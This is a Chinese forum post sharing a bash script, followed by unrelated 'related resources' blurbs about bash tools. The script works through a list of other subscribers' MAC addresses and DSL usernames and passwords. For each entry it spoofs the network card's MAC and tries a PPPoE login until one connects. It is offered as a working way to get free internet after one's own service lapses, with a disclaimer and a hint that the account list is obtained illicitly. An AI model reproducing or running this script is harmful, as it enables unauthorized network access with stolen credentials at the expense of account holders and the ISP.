贴一个脚本,纯出于练习目的,用于网络服务到期,无法上网,暂时的解决办法。适用某通网络,不一定适用于所有网络。特别声明,使用此脚本而导致的一切后果与本人无关。
#!/bin/bash
#Fuck TieTong!
let startIndex=1 #从指定位置的帐号开始试探
let tryCount=0 #尝试帐号的数量,0指不限定
accountFile='/path/to/your/dsl-account.txt'
if [ $UID -ne 0 ]; then
echo Must be root user to execute this script.
exit 0
fi
if [ $1 ]; then
let startIndex=$1
fi
if [ $2 ]; then
let tryCount=$2
fi
#using ether device : eth0
ETH="eth0"
#ETH="eth1"
#echo $startIndex +$tryCount
let lineCount=0
let count=0
for v in `cat $accountFile`; do
#echo using account $v
let aidx=`expr index "$v" =`
let lineCount=$lineCount+1
if [ $lineCount -lt $startIndex ]; then
continue
fi
if [ $aidx -gt 0 ]; then
let pidx=`expr index "$v" /`
let nidx=`expr index "$v" "#"`
let flen=`expr length "$v"`
if [ $nidx -eq 1 ];then
continue
fi
let count=$count+1
if [ $tryCount -ne 0 -a $count -gt $tryCount ]; then
break
fi
let mlen=$aidx-1
mac=`expr substr "$v" 1 $mlen`
#取帐号与密码
#echo $pidx ====== $nidx
if [ $pidx -gt $nidx -a $nidx -ne 0 ]; then
let pidx=$nidx
fi
if (( $pidx > 0 && ( $pidx < $nidx || $nidx == 0 ))); then
let alen=$pidx-$aidx-1
let aidx=$aidx+1
a=`expr substr "$v" $aidx $alen`
if [ $nidx -gt 0 ]; then
let plen=$nidx-$pidx-1
else
let plen=$flen-$pidx
fi
let pidx=$pidx+1
p=`expr substr "$v" $pidx $plen`
else
if [ $nidx -gt 0 ]; then
let alen=$nidx-$aidx-1
let aidx=$aidx+1
else
let alen=$flen-$aidx
let aidx=$aidx+1
fi
a=`expr substr "$v" $aidx $alen`
p=$a
fi
echo "======================================================="
echo try $lineCount $a/$p $mac
echo "===============================================">>/var/log/ppp-dsl.log
echo `date +'%F %H:%M.%S'` using $mac and $a,$p>>/var/log/ppp-dsl.log
ifconfig $ETH down;ifconfig $ETH hw ether $mac;ifconfig $ETH up
sleep 2
#dhcpcd eth0
pppd noipdefault defaultroute hide-password persist plugin rp-pppoe.so $ETH noauth user "$a" password "$p" logfile /var/log/ppp-dsl.log maxfail 1 #等待pppd进程终止,或延时60s
#pppd demand idle 300 noipdefault defaultroute hide-password persist plugin rp-pppoe.so $ETH noauth user "$a" password "$p" logfile /var/log/ppp-dsl.log maxfail 1 #等待pppd进程终止,或延时60s
for((dc=0;dc<20;dc++)) do
sleep 2
#检测网络界面中是否存在名为ppp的接口
let s=`ifconfig | grep ppp | wc -l`
if [ $s -gt 0 ]; then
echo ":):) found it. mac : $mac, $a"
exit 0
fi
let pc=`ps -A|grep pppd|wc -l`
if [ $pc -gt 0 ]; then
#echo $dc
continue
fi
echo pppd process is terminated.
echo mac $mac is using, break process.
break
done
fi
done
echo ":(:(:(:(:(:(:( not found."
exit 1
脚本中使用的dsl-account.txt文件格式:
#line format <MAC Addr>=<user>[/<pwd>[#<comment>]]
0F:EB:BF:10:03:FB=xxxxxxxx@YY/123456#demo for line.
不要问我,怎么获得dsl-account.txt中内容。如果这个不知道的话,还是别试了。
还有,如果你是Windows用户,也别试了。嘿嘿。
分享到:
相关推荐
以上只是对Bash脚本基础和应用的一个概览,实际的"常用bash脚本tools.zip"可能包含更具体的工具和示例。解压并研究这些脚本,可以帮助我们学习如何在实际环境中有效地使用Bash。每个脚本都可能是一个小的解决方案,...
总的来说,这个项目提供了一个学习Bash脚本和终端交互的好机会,特别是对于那些想提升终端技能或者对创建动态文本效果感兴趣的用户来说。通过研究这个脚本,可以了解到如何利用Bash的特性来创建出引人注目的终端效果...
总结来说,“Shinatra”是Linux开发领域的一个有趣实践,它通过55行bash脚本实现了基本的Web服务器功能,展示了Linux系统的强大和bash脚本的灵活性。对这个项目的研究不仅可以帮助我们掌握Web服务器的基础,也能提升...
"Linux 高级Bash脚本编程实用指南"正是这样一本针对熟练Linux用户和系统管理员,旨在提升Bash脚本编写技巧的参考资料。 该指南可能涵盖以下关键知识点: 1. **Bash基础知识**:包括Bash的安装与配置,Shell环境...
总的来说,Lobash是Linux开发人员和Shell脚本编写者的一个宝贵资源,它通过提供一套安全、高效的工具,提升了Bash脚本的质量和安全性。如果你经常编写Bash脚本,了解并使用Lobash将极大地提高你的工作效率,并降低...
总的来说,Python-BashInfinity是Bash脚本开发的一个重要进步,它引入了现代化的编程理念,使Bash脚本更加结构化、模块化,同时增强了调试和维护的便利性。对于需要编写复杂Bash脚本的IT专业人士来说,这是一个值得...
总结,Linux Network Attacker是一个针对无线网络的压力测试工具,它基于Mdk3进行操作,提供了Bash脚本来简化攻击过程。这个工具对于无线网络安全的研究、测试和教育具有重要意义,但使用时必须确保合法性和安全性。
"bash.tar.gz" 是一个压缩文件,它使用了两种常见的工具——`tar` 和 `gzip` 来打包和压缩文件。在 Linux 和类 Unix 系统中,这种组合经常用于存储和传输数据。`tar` 主要用于将多个文件或目录打包成一个单一的归档...
在深入研究Bash脚本的知识点时,我们可以关注以下几个方面: 1. **基本语法**:了解Bash脚本的基本结构,包括注释(#开始的行)、变量声明($var)和命令行参数($1, $2等)。 2. **流程控制**:掌握如何使用if-...
为了简化这一过程,开发人员经常创建Bash脚本来创建用户友好的交互式菜单。"TheBashMenu"就是这样一种工具,它允许用户通过简单的菜单选择来执行预定义的命令,无需记住复杂的命令行语法。 TheBashMenu的核心是使用...
总的来说,`bashScripts:一些bash脚本`这个压缩包提供了一个学习bash脚本和git集成的好机会。通过深入研究`countGitLines.sh`,不仅可以掌握bash脚本编写的基础,还能进一步了解git的使用,提升你在软件开发中的自动...
一个简单的BASH脚本通常以`#!/bin/bash`作为开头,这是所谓的"shebang",告诉系统使用哪个解释器来执行脚本。接下来是变量定义、函数声明以及命令序列。脚本中的每行都是一个命令,可以是内置命令、系统命令或自定义...
通过研究bash-4.0源码,我们可以深入理解Shell的工作原理,这对于Linux系统管理员、开发者和对操作系统有深厚兴趣的人来说是极其宝贵的资源。 首先,bash-4.0包含了实现各种Shell特性的代码,如命令历史记录、别名...
如果你对Bash脚本编程感兴趣,或者想要学习如何利用它们来自动化工作流程,这个资源将是一个宝贵的参考资料。通过深入研究这些脚本,你可以了解Bash的各种语法特性、最佳实践以及如何构建复杂的shell脚本。
通过研究bash4.4的源代码,不仅可以了解shell的工作机制,还可以学习C语言编程、编译原理、正则表达式处理以及Unix/Linux系统编程等多个方面的知识。对于希望深入理解操作系统和系统级开发的程序员来说,bash源代码...
在深入研究bash 4.2源码之前,你需要了解一些基础概念。例如,shell程序通常分为词法分析、解析、执行三个阶段。词法分析将输入的命令行转换为单词(tokens),解析阶段则将这些单词按照语法规则转化为抽象语法树...
在IT行业中,Bash脚本是一种非常实用的自动化工具,特别是在...对于初学者来说,这是一个很好的资源库,可以帮助他们理解Bash脚本的语法和用法。对于经验丰富的开发者,这些脚本可以提供灵感和解决特定问题的方法。